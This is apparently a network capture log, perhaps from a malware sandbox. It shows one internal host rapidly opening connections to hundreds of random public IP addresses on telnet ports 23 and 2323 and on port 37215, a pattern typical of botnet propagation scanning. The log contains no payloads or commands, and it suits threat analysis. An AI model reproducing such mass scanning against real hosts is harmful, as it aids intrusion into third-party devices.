Nov 3, 2024 15:33:16.258183956 CET	4847	37215	192.168.2.14	41.63.38.72
Nov 3, 2024 15:33:16.258186102 CET	4847	37215	192.168.2.14	41.87.220.136
Nov 3, 2024 15:33:16.258186102 CET	4847	37215	192.168.2.14	41.149.86.212
Nov 3, 2024 15:33:16.258187056 CET	4847	37215	192.168.2.14	41.217.250.62
Nov 3, 2024 15:33:16.258188963 CET	4833	23	192.168.2.14	147.145.220.145
Nov 3, 2024 15:33:16.258188963 CET	4847	37215	192.168.2.14	41.2.245.166
Nov 3, 2024 15:33:16.258197069 CET	4847	37215	192.168.2.14	197.133.149.239
Nov 3, 2024 15:33:16.258198023 CET	4833	23	192.168.2.14	124.112.128.183
Nov 3, 2024 15:33:16.258198977 CET	4833	23	192.168.2.14	166.203.236.185
Nov 3, 2024 15:33:16.258203030 CET	4833	23	192.168.2.14	193.0.252.252
Nov 3, 2024 15:33:16.258208990 CET	4833	23	192.168.2.14	163.14.130.65
Nov 3, 2024 15:33:16.258219004 CET	4847	37215	192.168.2.14	197.93.9.149
Nov 3, 2024 15:33:16.258219004 CET	4847	37215	192.168.2.14	156.25.79.107
Nov 3, 2024 15:33:16.258219957 CET	4833	23	192.168.2.14	74.177.6.151
Nov 3, 2024 15:33:16.258220911 CET	4833	23	192.168.2.14	36.188.50.168
Nov 3, 2024 15:33:16.258220911 CET	4847	37215	192.168.2.14	197.166.19.243
Nov 3, 2024 15:33:16.258219004 CET	4833	23	192.168.2.14	60.85.200.28
Nov 3, 2024 15:33:16.258222103 CET	4833	23	192.168.2.14	184.209.212.232
Nov 3, 2024 15:33:16.258219957 CET	4847	37215	192.168.2.14	197.163.90.244
Nov 3, 2024 15:33:16.258222103 CET	4847	37215	192.168.2.14	41.163.171.143
Nov 3, 2024 15:33:16.258220911 CET	4833	23	192.168.2.14	178.161.116.94
Nov 3, 2024 15:33:16.258222103 CET	4847	37215	192.168.2.14	197.223.88.72
Nov 3, 2024 15:33:16.258222103 CET	4847	37215	192.168.2.14	156.212.152.160
Nov 3, 2024 15:33:16.258234024 CET	4847	37215	192.168.2.14	156.201.50.162
Nov 3, 2024 15:33:16.258234024 CET	4833	23	192.168.2.14	201.6.197.176
Nov 3, 2024 15:33:16.258234024 CET	4847	37215	192.168.2.14	197.155.218.248
Nov 3, 2024 15:33:16.258239031 CET	4847	37215	192.168.2.14	197.146.150.129
Nov 3, 2024 15:33:16.258239031 CET	4847	37215	192.168.2.14	156.176.157.248
Nov 3, 2024 15:33:16.258239031 CET	4833	23	192.168.2.14	101.232.124.250
Nov 3, 2024 15:33:16.258239985 CET	4833	23	192.168.2.14	63.192.30.52
Nov 3, 2024 15:33:16.258239985 CET	4833	23	192.168.2.14	58.135.185.77
Nov 3, 2024 15:33:16.258239985 CET	4847	37215	192.168.2.14	197.102.64.88
Nov 3, 2024 15:33:16.258241892 CET	4833	2323	192.168.2.14	14.23.216.84
Nov 3, 2024 15:33:16.258241892 CET	4847	37215	192.168.2.14	41.166.102.48
Nov 3, 2024 15:33:16.258241892 CET	4847	37215	192.168.2.14	41.157.121.161
Nov 3, 2024 15:33:16.258241892 CET	4833	23	192.168.2.14	101.144.65.156
Nov 3, 2024 15:33:16.258241892 CET	4833	23	192.168.2.14	157.242.235.48
Nov 3, 2024 15:33:16.258260965 CET	4833	23	192.168.2.14	87.116.50.206
Nov 3, 2024 15:33:16.258260965 CET	4833	23	192.168.2.14	95.41.90.18
Nov 3, 2024 15:33:16.258263111 CET	4833	23	192.168.2.14	78.30.108.71
Nov 3, 2024 15:33:16.258265018 CET	4833	23	192.168.2.14	81.85.73.164
Nov 3, 2024 15:33:16.258265018 CET	4847	37215	192.168.2.14	197.75.136.224
Nov 3, 2024 15:33:16.258265972 CET	4833	23	192.168.2.14	211.211.188.37
Nov 3, 2024 15:33:16.258265972 CET	4847	37215	192.168.2.14	41.140.45.24
Nov 3, 2024 15:33:16.258265972 CET	4833	23	192.168.2.14	209.39.236.141
Nov 3, 2024 15:33:16.258265972 CET	4847	37215	192.168.2.14	156.70.199.225
Nov 3, 2024 15:33:16.258265972 CET	4847	37215	192.168.2.14	41.202.204.128
Nov 3, 2024 15:33:16.258266926 CET	4833	23	192.168.2.14	119.113.63.187
Nov 3, 2024 15:33:16.258265972 CET	4847	37215	192.168.2.14	197.165.212.167
Nov 3, 2024 15:33:16.258268118 CET	4833	2323	192.168.2.14	76.197.30.97
Nov 3, 2024 15:33:16.258268118 CET	4847	37215	192.168.2.14	197.2.125.202
Nov 3, 2024 15:33:16.258268118 CET	4833	23	192.168.2.14	217.215.159.157
Nov 3, 2024 15:33:16.258268118 CET	4833	23	192.168.2.14	162.252.216.197
Nov 3, 2024 15:33:16.258295059 CET	4833	23	192.168.2.14	91.216.21.118
Nov 3, 2024 15:33:16.258295059 CET	4847	37215	192.168.2.14	156.50.179.146
Nov 3, 2024 15:33:16.258295059 CET	4847	37215	192.168.2.14	156.37.236.134
Nov 3, 2024 15:33:16.258296967 CET	4833	23	192.168.2.14	13.225.38.63
Nov 3, 2024 15:33:16.258296967 CET	4847	37215	192.168.2.14	156.25.123.202
Nov 3, 2024 15:33:16.258296967 CET	4833	23	192.168.2.14	36.153.243.112
Nov 3, 2024 15:33:16.258297920 CET	4833	2323	192.168.2.14	116.101.86.24
Nov 3, 2024 15:33:16.258296967 CET	4833	23	192.168.2.14	77.100.116.206
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	156.58.98.243
Nov 3, 2024 15:33:16.258297920 CET	4847	37215	192.168.2.14	41.63.107.80
Nov 3, 2024 15:33:16.258297920 CET	4847	37215	192.168.2.14	41.62.188.55
Nov 3, 2024 15:33:16.258299112 CET	4833	23	192.168.2.14	27.31.225.77
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	41.212.140.243
Nov 3, 2024 15:33:16.258299112 CET	4847	37215	192.168.2.14	197.153.197.111
Nov 3, 2024 15:33:16.258297920 CET	4833	23	192.168.2.14	208.171.116.64
Nov 3, 2024 15:33:16.258301973 CET	4847	37215	192.168.2.14	197.164.193.154
Nov 3, 2024 15:33:16.258297920 CET	4833	23	192.168.2.14	183.229.161.187
Nov 3, 2024 15:33:16.258301973 CET	4847	37215	192.168.2.14	156.244.59.203
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	197.146.0.133
Nov 3, 2024 15:33:16.258301973 CET	4847	37215	192.168.2.14	197.121.92.198
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	41.98.15.159
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	41.119.17.217
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	41.169.16.235
Nov 3, 2024 15:33:16.258300066 CET	4847	37215	192.168.2.14	197.51.120.198
Nov 3, 2024 15:33:16.258301020 CET	4847	37215	192.168.2.14	197.143.121.41
Nov 3, 2024 15:33:16.258301020 CET	4833	2323	192.168.2.14	37.76.22.247
Nov 3, 2024 15:33:16.258316994 CET	4847	37215	192.168.2.14	41.97.96.162
Nov 3, 2024 15:33:16.258316994 CET	4833	23	192.168.2.14	181.97.244.181
Nov 3, 2024 15:33:16.258316994 CET	4847	37215	192.168.2.14	197.74.80.57
Nov 3, 2024 15:33:16.258316994 CET	4833	23	192.168.2.14	95.191.75.38
Nov 3, 2024 15:33:16.258322954 CET	4847	37215	192.168.2.14	41.252.205.27
Nov 3, 2024 15:33:16.258323908 CET	4847	37215	192.168.2.14	197.40.222.206
Nov 3, 2024 15:33:16.258323908 CET	4833	23	192.168.2.14	168.107.169.169
Nov 3, 2024 15:33:16.258323908 CET	4847	37215	192.168.2.14	197.206.198.22
Nov 3, 2024 15:33:16.258323908 CET	4833	23	192.168.2.14	174.164.113.143
Nov 3, 2024 15:33:16.258323908 CET	4833	23	192.168.2.14	48.156.124.150
Nov 3, 2024 15:33:16.258323908 CET	4847	37215	192.168.2.14	197.60.88.153
Nov 3, 2024 15:33:16.258325100 CET	4847	37215	192.168.2.14	41.48.134.138
Nov 3, 2024 15:33:16.258327961 CET	4847	37215	192.168.2.14	197.17.47.152
Nov 3, 2024 15:33:16.258327961 CET	4833	23	192.168.2.14	157.70.14.65
Nov 3, 2024 15:33:16.258328915 CET	4833	23	192.168.2.14	156.50.174.82
Nov 3, 2024 15:33:16.258330107 CET	4847	37215	192.168.2.14	197.252.173.211
Nov 3, 2024 15:33:16.258328915 CET	4847	37215	192.168.2.14	197.102.36.186
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	41.38.207.226
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	112.249.13.141
Nov 3, 2024 15:33:16.258331060 CET	4847	37215	192.168.2.14	156.57.129.67
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	80.219.75.81
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	90.0.63.139
Nov 3, 2024 15:33:16.258331060 CET	4847	37215	192.168.2.14	197.157.73.241
Nov 3, 2024 15:33:16.258328915 CET	4847	37215	192.168.2.14	41.170.73.130
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	90.80.132.86
Nov 3, 2024 15:33:16.258330107 CET	4847	37215	192.168.2.14	156.211.55.221
Nov 3, 2024 15:33:16.258330107 CET	4847	37215	192.168.2.14	197.174.100.232
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	53.60.181.28
Nov 3, 2024 15:33:16.258330107 CET	4833	23	192.168.2.14	148.140.69.10
Nov 3, 2024 15:33:16.258327961 CET	4847	37215	192.168.2.14	41.184.185.156
Nov 3, 2024 15:33:16.258359909 CET	4833	23	192.168.2.14	116.64.79.63
Nov 3, 2024 15:33:16.258361101 CET	4833	2323	192.168.2.14	198.21.51.110
Nov 3, 2024 15:33:16.258361101 CET	4833	23	192.168.2.14	173.166.187.142
Nov 3, 2024 15:33:16.258361101 CET	4833	23	192.168.2.14	156.154.15.14
Nov 3, 2024 15:33:16.258363008 CET	4847	37215	192.168.2.14	41.22.64.43
Nov 3, 2024 15:33:16.258363008 CET	4833	23	192.168.2.14	185.231.191.72
Nov 3, 2024 15:33:16.258371115 CET	4847	37215	192.168.2.14	197.99.55.10
Nov 3, 2024 15:33:16.258371115 CET	4847	37215	192.168.2.14	156.241.55.254
Nov 3, 2024 15:33:16.258371115 CET	4847	37215	192.168.2.14	41.3.212.204
Nov 3, 2024 15:33:16.258373022 CET	4847	37215	192.168.2.14	197.224.22.16
Nov 3, 2024 15:33:16.258373022 CET	4847	37215	192.168.2.14	197.75.138.201
Nov 3, 2024 15:33:16.258373022 CET	4833	2323	192.168.2.14	117.237.19.153
Nov 3, 2024 15:33:16.258373022 CET	4833	23	192.168.2.14	93.1.131.161
Nov 3, 2024 15:33:16.258373022 CET	4847	37215	192.168.2.14	197.155.229.27
Nov 3, 2024 15:33:16.258373022 CET	4847	37215	192.168.2.14	197.228.122.148
Nov 3, 2024 15:33:16.258373976 CET	4847	37215	192.168.2.14	41.111.215.248
Nov 3, 2024 15:33:16.258373022 CET	4833	23	192.168.2.14	67.33.95.29
Nov 3, 2024 15:33:16.258373976 CET	4833	23	192.168.2.14	174.146.141.7
Nov 3, 2024 15:33:16.258373022 CET	4833	23	192.168.2.14	176.154.45.198
Nov 3, 2024 15:33:16.258378029 CET	4847	37215	192.168.2.14	156.113.174.96
Nov 3, 2024 15:33:16.258373976 CET	4847	37215	192.168.2.14	41.1.215.216
Nov 3, 2024 15:33:16.258378029 CET	4847	37215	192.168.2.14	41.13.117.61
Nov 3, 2024 15:33:16.258373976 CET	4847	37215	192.168.2.14	197.235.60.119
Nov 3, 2024 15:33:16.258378029 CET	4833	23	192.168.2.14	165.96.201.17
Nov 3, 2024 15:33:16.258373976 CET	4847	37215	192.168.2.14	41.115.186.76
Nov 3, 2024 15:33:16.258380890 CET	4833	23	192.168.2.14	84.67.76.86
Nov 3, 2024 15:33:16.258378029 CET	4847	37215	192.168.2.14	41.179.173.116
Nov 3, 2024 15:33:16.258380890 CET	4847	37215	192.168.2.14	156.83.233.227
Nov 3, 2024 15:33:16.258378029 CET	4847	37215	192.168.2.14	197.157.34.244
Nov 3, 2024 15:33:16.258380890 CET	4833	23	192.168.2.14	14.233.21.96
Nov 3, 2024 15:33:16.258380890 CET	4847	37215	192.168.2.14	156.104.96.138
Nov 3, 2024 15:33:16.258395910 CET	4833	23	192.168.2.14	107.166.239.45
Nov 3, 2024 15:33:16.258395910 CET	4833	2323	192.168.2.14	63.232.162.184
Nov 3, 2024 15:33:16.258395910 CET	4847	37215	192.168.2.14	197.150.181.158
Nov 3, 2024 15:33:16.258395910 CET	4833	23	192.168.2.14	34.29.45.144
Nov 3, 2024 15:33:16.258395910 CET	4833	23	192.168.2.14	63.218.25.179
Nov 3, 2024 15:33:16.258414984 CET	4833	23	192.168.2.14	216.82.120.142
Nov 3, 2024 15:33:16.258414984 CET	4847	37215	192.168.2.14	197.163.224.172
Nov 3, 2024 15:33:16.258414984 CET	4847	37215	192.168.2.14	41.114.248.224
Nov 3, 2024 15:33:16.258414984 CET	4847	37215	192.168.2.14	197.158.125.121
Nov 3, 2024 15:33:16.258415937 CET	4833	23	192.168.2.14	5.115.61.212
Nov 3, 2024 15:33:16.258416891 CET	4847	37215	192.168.2.14	41.135.6.136
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	85.67.26.126
Nov 3, 2024 15:33:16.258416891 CET	4847	37215	192.168.2.14	41.82.11.196
Nov 3, 2024 15:33:16.258418083 CET	4847	37215	192.168.2.14	41.120.193.9
Nov 3, 2024 15:33:16.258415937 CET	4847	37215	192.168.2.14	197.50.231.178
Nov 3, 2024 15:33:16.258416891 CET	4847	37215	192.168.2.14	156.83.243.244
Nov 3, 2024 15:33:16.258416891 CET	4833	23	192.168.2.14	181.76.73.103
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	38.209.54.246
Nov 3, 2024 15:33:16.258416891 CET	4847	37215	192.168.2.14	197.100.135.17
Nov 3, 2024 15:33:16.258416891 CET	4847	37215	192.168.2.14	197.74.98.180
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	202.0.141.203
Nov 3, 2024 15:33:16.258418083 CET	4847	37215	192.168.2.14	197.233.88.124
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	157.131.105.175
Nov 3, 2024 15:33:16.258416891 CET	4847	37215	192.168.2.14	41.86.106.117
Nov 3, 2024 15:33:16.258418083 CET	4833	2323	192.168.2.14	125.72.166.94
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	24.219.117.171
Nov 3, 2024 15:33:16.258418083 CET	4847	37215	192.168.2.14	41.254.45.125
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	200.136.119.201
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	93.11.40.52
Nov 3, 2024 15:33:16.258416891 CET	4833	23	192.168.2.14	139.184.210.251
Nov 3, 2024 15:33:16.258418083 CET	4847	37215	192.168.2.14	41.192.184.210
Nov 3, 2024 15:33:16.258416891 CET	4833	23	192.168.2.14	72.241.10.182
Nov 3, 2024 15:33:16.258418083 CET	4833	23	192.168.2.14	86.120.60.177
Nov 3, 2024 15:33:16.258415937 CET	4847	37215	192.168.2.14	41.113.49.24
Nov 3, 2024 15:33:16.258416891 CET	4833	23	192.168.2.14	115.228.43.115
Nov 3, 2024 15:33:16.258415937 CET	4847	37215	192.168.2.14	41.1.51.25
Nov 3, 2024 15:33:16.258416891 CET	4833	23	192.168.2.14	191.122.143.25
Nov 3, 2024 15:33:16.258415937 CET	4847	37215	192.168.2.14	197.239.216.248
Nov 3, 2024 15:33:16.258451939 CET	4833	23	192.168.2.14	184.32.63.140
Nov 3, 2024 15:33:16.258451939 CET	4847	37215	192.168.2.14	156.97.84.252
Nov 3, 2024 15:33:16.258451939 CET	4847	37215	192.168.2.14	197.46.254.35
Nov 3, 2024 15:33:16.258451939 CET	4847	37215	192.168.2.14	41.113.247.88
Nov 3, 2024 15:33:16.258451939 CET	4833	23	192.168.2.14	42.121.162.98
Nov 3, 2024 15:33:16.258452892 CET	4847	37215	192.168.2.14	197.192.46.115
Nov 3, 2024 15:33:16.258462906 CET	4847	37215	192.168.2.14	156.75.226.129
Nov 3, 2024 15:33:16.258467913 CET	4833	23	192.168.2.14	100.251.196.158
Nov 3, 2024 15:33:16.258467913 CET	4833	23	192.168.2.14	196.174.97.196
Nov 3, 2024 15:33:16.258467913 CET	4833	23	192.168.2.14	188.254.0.87
Nov 3, 2024 15:33:16.258467913 CET	4833	23	192.168.2.14	118.104.224.52
Nov 3, 2024 15:33:16.258467913 CET	4833	2323	192.168.2.14	147.200.73.129
Nov 3, 2024 15:33:16.258467913 CET	4833	23	192.168.2.14	45.252.26.42
Nov 3, 2024 15:33:16.258467913 CET	4847	37215	192.168.2.14	156.45.166.182
Nov 3, 2024 15:33:16.258467913 CET	4847	37215	192.168.2.14	156.40.227.144
Nov 3, 2024 15:33:16.258471012 CET	4847	37215	192.168.2.14	197.126.125.176
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	192.158.70.224
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	108.239.68.178
Nov 3, 2024 15:33:16.258471012 CET	4847	37215	192.168.2.14	156.177.69.54
Nov 3, 2024 15:33:16.258471012 CET	4847	37215	192.168.2.14	156.254.27.233
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	206.200.49.144
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	75.119.223.167
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	105.112.191.172
Nov 3, 2024 15:33:16.258474112 CET	4847	37215	192.168.2.14	41.92.52.179
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	18.250.89.64
Nov 3, 2024 15:33:16.258474112 CET	4833	23	192.168.2.14	57.137.64.49
Nov 3, 2024 15:33:16.258471012 CET	4847	37215	192.168.2.14	197.35.197.83
Nov 3, 2024 15:33:16.258474112 CET	4847	37215	192.168.2.14	41.84.28.141
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	120.50.222.118
Nov 3, 2024 15:33:16.258474112 CET	4847	37215	192.168.2.14	41.36.206.32
Nov 3, 2024 15:33:16.258471012 CET	4833	2323	192.168.2.14	70.253.29.184
Nov 3, 2024 15:33:16.258474112 CET	4847	37215	192.168.2.14	197.43.115.197
Nov 3, 2024 15:33:16.258472919 CET	4847	37215	192.168.2.14	41.2.197.17
Nov 3, 2024 15:33:16.258479118 CET	4847	37215	192.168.2.14	41.49.240.135
Nov 3, 2024 15:33:16.258474112 CET	4833	23	192.168.2.14	87.168.6.25
Nov 3, 2024 15:33:16.258476019 CET	4847	37215	192.168.2.14	197.2.109.110
Nov 3, 2024 15:33:16.258471012 CET	4833	23	192.168.2.14	203.136.118.75
Nov 3, 2024 15:33:16.258472919 CET	4833	23	192.168.2.14	186.40.233.221
Nov 3, 2024 15:33:16.258474112 CET	4847	37215	192.168.2.14	41.195.218.105
Nov 3, 2024 15:33:16.258475065 CET	4847	37215	192.168.2.14	41.230.33.65
Nov 3, 2024 15:33:16.258472919 CET	4847	37215	192.168.2.14	197.19.192.24
Nov 3, 2024 15:33:16.258474112 CET	4833	23	192.168.2.14	126.41.24.185
Nov 3, 2024 15:33:16.258472919 CET	4833	23	192.168.2.14	58.130.215.87
Nov 3, 2024 15:33:16.258479118 CET	4833	23	192.168.2.14	187.155.29.171
Nov 3, 2024 15:33:16.258475065 CET	4833	2323	192.168.2.14	42.189.48.166
Nov 3, 2024 15:33:16.258479118 CET	4833	23	192.168.2.14	118.203.15.1
Nov 3, 2024 15:33:16.258472919 CET	4833	23	192.168.2.14	103.48.84.168
Nov 3, 2024 15:33:16.258475065 CET	4847	37215	192.168.2.14	41.180.202.28
Nov 3, 2024 15:33:16.258472919 CET	4847	37215	192.168.2.14	41.241.216.207
Nov 3, 2024 15:33:16.258479118 CET	4847	37215	192.168.2.14	156.16.208.177
Nov 3, 2024 15:33:16.258479118 CET	4847	37215	192.168.2.14	41.50.123.247
Nov 3, 2024 15:33:16.258479118 CET	4833	23	192.168.2.14	66.230.120.13
Nov 3, 2024 15:33:16.258479118 CET	4847	37215	192.168.2.14	41.98.225.252
Nov 3, 2024 15:33:16.258479118 CET	4847	37215	192.168.2.14	41.17.133.54
Nov 3, 2024 15:33:16.258497953 CET	4833	23	192.168.2.14	149.28.111.151
Nov 3, 2024 15:33:16.258497953 CET	4847	37215	192.168.2.14	197.78.173.180
Nov 3, 2024 15:33:16.258497953 CET	4847	37215	192.168.2.14	197.85.122.79
Nov 3, 2024 15:33:16.258497953 CET	4847	37215	192.168.2.14	156.206.107.114
Nov 3, 2024 15:33:16.258497953 CET	4833	23	192.168.2.14	114.195.233.11
Nov 3, 2024 15:33:16.258497953 CET	4833	23	192.168.2.14	146.36.115.139
Nov 3, 2024 15:33:16.258502960 CET	4847	37215	192.168.2.14	156.47.40.235
Nov 3, 2024 15:33:16.258508921 CET	4847	37215	192.168.2.14	197.17.59.39
Nov 3, 2024 15:33:16.258508921 CET	4847	37215	192.168.2.14	41.225.161.226
Nov 3, 2024 15:33:16.258510113 CET	4833	2323	192.168.2.14	103.39.95.23
Nov 3, 2024 15:33:16.258508921 CET	4847	37215	192.168.2.14	41.239.219.16
Nov 3, 2024 15:33:16.258510113 CET	4833	23	192.168.2.14	203.19.84.165
Nov 3, 2024 15:33:16.258508921 CET	4833	23	192.168.2.14	58.184.104.64
Nov 3, 2024 15:33:16.258510113 CET	4833	23	192.168.2.14	121.255.164.154
Nov 3, 2024 15:33:16.258508921 CET	4847	37215	192.168.2.14	197.121.43.178
Nov 3, 2024 15:33:16.258510113 CET	4847	37215	192.168.2.14	156.189.133.120
Nov 3, 2024 15:33:16.258508921 CET	4847	37215	192.168.2.14	41.103.59.239
Nov 3, 2024 15:33:16.258508921 CET	4847	37215	192.168.2.14	41.60.65.204
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	156.201.120.231
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	41.121.238.91
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	41.183.185.109
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	156.124.55.67
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	41.99.112.116
Nov 3, 2024 15:33:16.258516073 CET	4833	23	192.168.2.14	160.94.57.219
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	156.242.193.178
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	156.121.33.221
Nov 3, 2024 15:33:16.258519888 CET	4847	37215	192.168.2.14	41.18.252.111
Nov 3, 2024 15:33:16.258519888 CET	4833	23	192.168.2.14	37.95.2.193
Nov 3, 2024 15:33:16.258521080 CET	4833	23	192.168.2.14	179.222.27.158
Nov 3, 2024 15:33:16.258517981 CET	4833	23	192.168.2.14	75.181.44.170
Nov 3, 2024 15:33:16.258516073 CET	4833	23	192.168.2.14	17.241.156.156
Nov 3, 2024 15:33:16.258517981 CET	4833	23	192.168.2.14	108.162.98.183
Nov 3, 2024 15:33:16.258521080 CET	4847	37215	192.168.2.14	156.15.87.200
Nov 3, 2024 15:33:16.258519888 CET	4833	23	192.168.2.14	168.151.56.202
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	197.115.116.215
Nov 3, 2024 15:33:16.258517981 CET	4847	37215	192.168.2.14	197.138.203.43
Nov 3, 2024 15:33:16.258519888 CET	4833	23	192.168.2.14	212.92.5.39
Nov 3, 2024 15:33:16.258519888 CET	4847	37215	192.168.2.14	197.40.70.149
Nov 3, 2024 15:33:16.258516073 CET	4847	37215	192.168.2.14	156.25.94.159
Nov 3, 2024 15:33:16.258519888 CET	4833	23	192.168.2.14	98.13.107.120
Nov 3, 2024 15:33:16.258517981 CET	4847	37215	192.168.2.14	197.184.166.25
Nov 3, 2024 15:33:16.258519888 CET	4847	37215	192.168.2.14	156.143.172.80
Nov 3, 2024 15:33:16.258519888 CET	4847	37215	192.168.2.14	156.57.166.34
Nov 3, 2024 15:33:16.258543015 CET	4833	23	192.168.2.14	75.176.22.0
Nov 3, 2024 15:33:16.258543015 CET	4847	37215	192.168.2.14	197.107.247.172
Nov 3, 2024 15:33:16.258543015 CET	4847	37215	192.168.2.14	197.93.60.68
Nov 3, 2024 15:33:16.258543015 CET	4833	23	192.168.2.14	149.161.6.175
Nov 3, 2024 15:33:16.258543015 CET	4847	37215	192.168.2.14	156.81.230.247
Nov 3, 2024 15:33:16.258544922 CET	4847	37215	192.168.2.14	41.192.195.211
Nov 3, 2024 15:33:16.258543015 CET	4833	23	192.168.2.14	79.5.24.208
Nov 3, 2024 15:33:16.258546114 CET	4847	37215	192.168.2.14	41.194.6.43
Nov 3, 2024 15:33:16.258544922 CET	4833	23	192.168.2.14	136.103.149.184
Nov 3, 2024 15:33:16.258543015 CET	4847	37215	192.168.2.14	197.149.104.140
Nov 3, 2024 15:33:16.258546114 CET	4833	23	192.168.2.14	213.13.57.182
Nov 3, 2024 15:33:16.258546114 CET	4833	23	192.168.2.14	100.19.243.10
Nov 3, 2024 15:33:16.258547068 CET	4847	37215	192.168.2.14	41.75.90.212
Nov 3, 2024 15:33:16.258547068 CET	4833	2323	192.168.2.14	18.147.86.41
Nov 3, 2024 15:33:16.258548021 CET	4833	23	192.168.2.14	195.42.193.54
Nov 3, 2024 15:33:16.258546114 CET	4847	37215	192.168.2.14	197.140.153.9
Nov 3, 2024 15:33:16.258546114 CET	4847	37215	192.168.2.14	156.4.26.19
Nov 3, 2024 15:33:16.258547068 CET	4847	37215	192.168.2.14	156.253.228.86
Nov 3, 2024 15:33:16.258547068 CET	4847	37215	192.168.2.14	41.230.107.166
Nov 3, 2024 15:33:16.258547068 CET	4847	37215	192.168.2.14	197.137.26.132
Nov 3, 2024 15:33:16.258546114 CET	4847	37215	192.168.2.14	156.141.203.43
Nov 3, 2024 15:33:16.258548021 CET	4847	37215	192.168.2.14	197.75.29.116
Nov 3, 2024 15:33:16.258548021 CET	4833	23	192.168.2.14	143.247.45.22
Nov 3, 2024 15:33:16.258548021 CET	4833	23	192.168.2.14	171.144.59.49
Nov 3, 2024 15:33:16.258548021 CET	4833	23	192.168.2.14	181.227.114.99
Nov 3, 2024 15:33:16.258548021 CET	4847	37215	192.168.2.14	156.96.140.198
Nov 3, 2024 15:33:16.258548021 CET	4847	37215	192.168.2.14	156.6.197.42
Nov 3, 2024 15:33:16.258563042 CET	4847	37215	192.168.2.14	41.5.85.219
Nov 3, 2024 15:33:16.258563995 CET	4847	37215	192.168.2.14	197.187.189.44
Nov 3, 2024 15:33:16.258563995 CET	4847	37215	192.168.2.14	41.159.44.234
Nov 3, 2024 15:33:16.258564949 CET	4847	37215	192.168.2.14	41.41.98.72
Nov 3, 2024 15:33:16.258564949 CET	4847	37215	192.168.2.14	156.141.222.25
Nov 3, 2024 15:33:16.258569002 CET	4847	37215	192.168.2.14	41.249.200.32
Nov 3, 2024 15:33:16.258569002 CET	4847	37215	192.168.2.14	197.211.172.178
Nov 3, 2024 15:33:16.258569002 CET	4847	37215	192.168.2.14	156.93.184.137
Nov 3, 2024 15:33:16.258569002 CET	4847	37215	192.168.2.14	197.60.96.103
Nov 3, 2024 15:33:16.258569002 CET	4847	37215	192.168.2.14	197.194.202.126
Nov 3, 2024 15:33:16.258575916 CET	4847	37215	192.168.2.14	197.125.88.54
Nov 3, 2024 15:33:16.258575916 CET	4847	37215	192.168.2.14	41.41.89.104
Nov 3, 2024 15:33:16.258575916 CET	4847	37215	192.168.2.14	156.105.177.38
Nov 3, 2024 15:33:16.258575916 CET	4847	37215	192.168.2.14	156.164.94.252
Nov 3, 2024 15:33:16.258575916 CET	4847	37215	192.168.2.14	197.71.40.215
Nov 3, 2024 15:33:16.258578062 CET	4847	37215	192.168.2.14	156.23.31.247
Nov 3, 2024 15:33:16.258578062 CET	4847	37215	192.168.2.14	41.85.51.223
Nov 3, 2024 15:33:16.258578062 CET	4847	37215	192.168.2.14	41.178.168.73
Nov 3, 2024 15:33:16.258579016 CET	4847	37215	192.168.2.14	197.22.120.91
Nov 3, 2024 15:33:16.258580923 CET	4847	37215	192.168.2.14	197.4.109.225
Nov 3, 2024 15:33:16.258580923 CET	4847	37215	192.168.2.14	41.95.3.231
Nov 3, 2024 15:33:16.258580923 CET	4847	37215	192.168.2.14	156.142.61.25
Nov 3, 2024 15:33:16.258580923 CET	4847	37215	192.168.2.14	41.127.40.253
Nov 3, 2024 15:33:16.258585930 CET	4847	37215	192.168.2.14	197.137.198.191
Nov 3, 2024 15:33:16.258582115 CET	4847	37215	192.168.2.14	197.196.236.89
Nov 3, 2024 15:33:16.258586884 CET	4847	37215	192.168.2.14	41.89.105.134
Nov 3, 2024 15:33:16.258584976 CET	4847	37215	192.168.2.14	197.199.13.53
Nov 3, 2024 15:33:16.258584976 CET	4847	37215	192.168.2.14	41.45.16.141
Nov 3, 2024 15:33:16.258584976 CET	4847	37215	192.168.2.14	197.252.61.96
Nov 3, 2024 15:33:16.258591890 CET	4847	37215	192.168.2.14	41.76.207.190
Nov 3, 2024 15:33:16.258591890 CET	4847	37215	192.168.2.14	197.155.207.54
Nov 3, 2024 15:33:16.258599997 CET	4847	37215	192.168.2.14	156.229.177.164
Nov 3, 2024 15:33:16.258606911 CET	4847	37215	192.168.2.14	156.254.86.21
Nov 3, 2024 15:33:16.258611917 CET	4847	37215	192.168.2.14	41.190.220.158
